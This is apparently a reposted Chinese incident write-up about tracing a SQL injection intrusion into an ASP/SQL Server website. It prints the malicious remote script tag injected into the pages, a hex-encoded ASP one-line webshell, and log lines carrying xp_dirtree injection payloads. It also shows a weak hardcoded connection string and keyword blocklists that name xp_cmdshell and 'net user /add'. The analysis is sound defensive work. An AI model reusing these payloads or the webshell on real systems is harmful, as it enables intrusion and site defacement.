转摘:防黑客技术实战(原名:一次查找入侵者的尝试)
被篡改的页面会在正常代码之前或着之后加入以下内容:
script src="http://pop.9v.cn/code/popjs.asp?uid="25462&tid="35&l="0"
经过DC员工艰苦的排查,我们排除了通过病毒,FTP帐号以及由于系统补丁的原因导致被入侵的可能。
在分析了大量的WEB日志和数据库结构以后,我们基本可以断定,入侵者是通过ASP的页面,采用SQL Server数据库注入的方式侵入系统。
相关的直接证据如下:
1、网站使用的数据库被插入了很多不正常的数据表格,经确认这些表格不是我方人员建立。并且有些表格早在06年6月18日就已经创建,这说明黑客早就进入过系统。

2、其中一张名为[kill_kk]表格中的数据触目惊心,正是系统盘C:下的所有文件列表。这说明系统已经被入侵,入侵者成功使用了WEB Shell工具,可以任意执行命令。 该表的创建时间为07年4月29日凌晨3点08分。

3、这张表里存储着网站一个子目录里的所有文件列表。

4、这张表格里存储者入侵者执行的命令或着运行的程序,由于是二进制格式存储,需要导出后才能查看。
经过George还原,其大小为2MB,内容看起来比较奇怪。3C
736372697074206C
616E67756167653D
227662736372697074222072756E
61743D
7365727665723E
6966207265717565737428222A
22293C
3E
22227468656E
2065786563757465287265717565737428222A
2229293C
2F
7363726970743E
736372697074206C
616E67756167653D
227662736372697074222072756E
61743D
7365727665723E
6966207265717565737428222A
22293C
3E
22227468656E
2065786563757465287265717565737428222A
2229293C
2F
7363726970743E
这是文件的主要内容,文件的剩余部分被空格填充。 也许这些文本是经过编码处理过的,试了base64编码,但是没有被识别。
后来我突发奇想,把这些代码输入十六进制编辑器,就看到了如下的内容:

我们还注意到其他显然的隐患:
1、我们注意到该网站的数据库的用户名和密码都相同,请看联接控制文件:
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "driver={sql server};server=(local);uid=ittest;pwd=ittest;database=ittest"
2、在网站内部的帐号管理方面同样存在这一问题。
由于我们水平有限,无法还原入侵者的入侵过程,但基本可以断定,在4月29日,入侵成功并在5月9凌晨零点更改了页面。我们在另一个网站上也找到了类似的痕迹,但还没有进行认真的分析。
我们在这个网站的日志上看到了很多类似如下的信息:
2007-04-28 18:54:27 123.53.70.164 - 172.20.10.34 80 GET /coic/gb/ccactionsalongDetail.asp id=19;DROP%20TABLE%20kill_kk;CREATE%20TABLE%20kill_kk(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20kill_kk%20exec%20master..xp_dirtree%20"D:\",%201,1-- 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)
2007-04-28 18:54:29 123.53.70.164 - 172.20.10.34 80 GET /coic/gb/ccactionsalongDetail.asp id=19%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000)) %2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file] %20From%20kill_kk%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY% 20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20--|581|80040e07|[Microsoft] [ODBC_SQL_Server_Driver][SQL_Server]将_varchar_值_'|02003611152930|'_转换为数据 类型为_int_的列时发生语法错误。 500 Internet+Explorer+6.0
2007-04-28 18:54:29 123.53.70.164 - 172.20.10.34 80 GET /coic/gb/ccactionsalongDetail.asp id=19%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000)) %2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file] %20From%20kill_kk%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY% 20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20--|581|80040e07|[Microsoft] [ODBC_SQL_Server_Driver][SQL_Server]将_varchar_值 _'|061dc888cddd443722644|'_转换为数据类型为_int_的列时发生语法错误。 500 Internet+Explorer+6.0
2007-04-28 18:54:29 123.53.70.164 - 172.20.10.34 80 GET /coic/gb/ccactionsalongDetail.asp id=19%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000)) %2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file] %20From%20kill_kk%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY% 20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20--|581|80040e07|[Microsoft] [ODBC_SQL_Server_Driver][SQL_Server]将_varchar_值 _'|088e8050_w2k_yk50x86_v7.24.1.3|'_转换为数据类型为_int_的列时发生语法错误。 500 Internet+Explorer+6.0
2007-04-28 18:54:29 123.53.70.164 - 172.20.10.34 80 GET /coic/gb/ccactionsalongDetail.asp id=19%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000)) %2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%204%20[subdirectory],[file] %20From%20kill_kk%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY% 20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20--|581|80040e07|[Microsoft] [ODBC_SQL_Server_Driver][SQL_Server]将_varchar_值_'|0app|'_转换为数据类型为_int_的列 时发生语法错误。 500 Internet+Explorer+6.0
这些日志似乎在显示入侵者正在读取服务器磁盘的内容,但由于我们无法还原入侵动作,所以并不清楚,在有报错信息的情况下,入侵究竟是否成功。但有一点可以肯定,最终入侵者还是成功了。
在我们找到了问题所在的次日,我们就收到了开发部门的回应,回应如下:
QUOTE:
目前新的ASP网站,都已经加入了防植入功能,例如:abc def 等,但是以前一些老的网站由于原来的外包没有这方面的意识,所以遗留下了这些网站漏洞。
解决方法
代码改进方式如下:(简单一点的说就是要每个网站里关于数据库操作的地方都要重新写,这个是解决根本的唯一办法)
具体代码操作如下:
编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。
IIS传递给asp.dll的get 请求是是以字符串的形式,,当 传递给Request.QueryString数据后,asp解析器会分析Request.QueryString的信息,,然后根据\"&",分出各个数组内的数据所以get的拦截如下:
首先我们定义请求中不能包含如下字符:
|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare
各个字符用\"|"隔开,,然后我们判断的得到的Request.QueryString,具体代码如下 :
dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=****>alert('天下电影联盟SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>\"
Response.end
end if
next
Next
End If
这样我们就实现了get请求的注入的拦截,但是我们还要过滤post请求,所以我们还得继续考虑request.form,这个也是以数组形式存在的,我们只需要再进一次循环判断即可。代码如下:
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=****>alert('天下电影联盟SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入!nnHTTP: //www.521movie.com ');history.back(-1)</Script>\"
Response.end
end if
next
next
end if
我们已经实现了get和post请求的信息拦截,你只需要在conn.asp之类的打开数据库文件之前引用这个页面即可。放心的继续开发你的程序,不用再考虑是否还会受到SQL注入攻击。
我的回复如下:
Dear Jerry:
感谢你的回复,让我们了解了更多的技术细节。
也请DC同事了解关于防注入方面的信息。
另外,我们注意到贸促会的网站的联接控制文件其实已经加入了防注入检测,代码如下:
dim qs,errc,iii
qs=request.servervariables("query_string")
dim nothis(18)
nothis(0)="net user"
nothis(1)="xp_cmdshell"
nothis(2)="/add"
nothis(3)="exec%20master.dbo.xp_cmdshell"
nothis(4)="net localgroup administrators"
nothis(5)="select"
nothis(6)="count"
nothis(7)="asc"
nothis(8)="char"
nothis(9)="mid"
nothis(10)="'"
nothis(11)=":"
nothis(12)=""""
nothis(13)="insert"
nothis(14)="delete"
nothis(15)="drop"
nothis(16)="truncate"
nothis(17)="from"
nothis(18)="and user>0"
errc=false
for iii= 0 to ubound(nothis)
if instr(qs,nothis(iii))<>0 then
errc=true
end if
next
if errc then
response.write("对不起,非法URL地址请求!!")
response.end
end if
能否确认这是你们的加入的代码?
如果是,那么问题可能会比较复杂,即这种方式仍然不能阻止入侵。入侵者一定还有其他的入侵方式。
如果不是,我们似乎遇到了一个好心的入侵者,在入侵之后帮我们修补了漏洞,当然,这种做法在黑客的行为习惯里也属正常。
请确认,这是个很关键的问题。
我无意指摘开发人员的工作,仅希望能够找到切实有效的解决方案,一些迹象似乎预示,针对网站的大规模攻击正在酝酿之中,我们需要抓紧时间。
##########################################
后来,从开发部门的回复看来,我们真的遇到了一个好心的黑客。这真是让人啼笑皆非的事情啊。
让我们看看这个可能的入侵者来自哪里?
whois 123.53.70.164
[Querying whois.apnic.net]
[whois.apnic.net]
% [whois.apnic.net node-2]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
inetnum: 123.52.0.0 - 123.55.255.255
netname: MAINT-CHINANET-HA
descr: CHINANET HENAN PROVINCE NETWORK
descr: henan Telecom Corporation
descr: 97# Zhongyuan Street, Zhengzhou,henan,Chinese
country: CN
admin-c: HZ149-AP
tech-c: HZ149-AP
remarks: Henan Telecom Corporation hostmaster
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-HA
mnt-routes: MAINT-CHINANET-HA
status: ALLOCATED PORTABLE
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks: This object can only be updated by APNIC hostmasters.
remarks: To update this object, please contact APNIC
remarks: hostmasters and include your organisation's account
remarks: name in the subject line.
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
changed: hm-changed@apnic.net 20061127
source: APNIC
person: Hongbiao Zhang
nic-hdl: HZ149-AP
e-mail: ip@hntele.com
address: 97# Zhongyuan Street, Zhengzhou City, China
phone: +86 371 65310018
fax-no: +86 371 65310015
country: CN
changed: zhb@hntele.com 20060511
mnt-by: MAINT-CHINANET-HA
source: APNIC
看来是河南的,只是不清楚这个地址是始作俑者还是替罪羊?
入侵者的举动让我觉得恼怒,无奈也觉得无聊,但是仔细回顾他留下的那段补丁代码,却不由得不对代码的作者肃然起敬,我不想拿谁和他比较,但看看整齐的语法,洗练的语句,专业的内容,除了代码书写的排版不太规范,以及没有注释以外,简直是个完美的范例,遇到这样一个敌人是件可怕的事,但是也许是一种幸运,这是个品行不端的老师,但却是技艺超群。 如果我们连一招半式也学不到,那么,从今以后可能连做个蹩脚对手的资格都没有。
让我们再来欣赏一下吧:
dim qs,errc,iii
qs=request.servervariables("query_string")
dim nothis(18)
nothis(0)="net user"
nothis(1)="xp_cmdshell"
nothis(2)="/add"
nothis(3)="exec%20master.dbo.xp_cmdshell"
nothis(4)="net localgroup administrators"
nothis(5)="select"
nothis(6)="count"
nothis(7)="asc"
nothis(8)="char"
nothis(9)="mid"
nothis(10)="'"
nothis(11)=":"
nothis(12)=""""
nothis(13)="insert"
nothis(14)="delete"
nothis(15)="drop"
nothis(16)="truncate"
nothis(17)="from"
nothis(18)="and user>0"
errc=false
for iii= 0 to ubound(nothis)
if instr(qs,nothis(iii))<>0 then
errc=true
end if
next
if errc then
response.write("对不起,非法URL地址请求!!")
response.end
end if
对于这段代码推崇备至的原因是因为它太专业了, 不但逻辑清晰而且非常简洁,相对于前面的将POST和GET分开判断的代码,它聪明的采用了 Request.ServerVariables("Query_String") , 因为他知道Query_String才是关键,而不是你用的Request.ServerVariables("Request_Method") 提出请求的方法比如GET、HEAD、POST等等,而且他把关键的非法调用都考虑了:
xp_cmdshell 数据库的扩展存储。
“/add” 这个不知道是什么命令的参数,最有可能是net命令添加用户,添加组时用的。
exec%20master.dbo.xp_cmdshell 调用扩展存储的命令,这个是不是有点多余? 不解中。
net localgroup administrators 提升权限的命令,简直太帅了。
崇拜中。。。呵呵。
后来,我们终于找到了入侵者用来“干活”工具,是一个叫13 webshell 的ASP木马。
如下图是其中的部分截图。 通过这个软件,我们渐渐了解了整个入侵的过程和动作,有时间再整理一下贴上来吧。




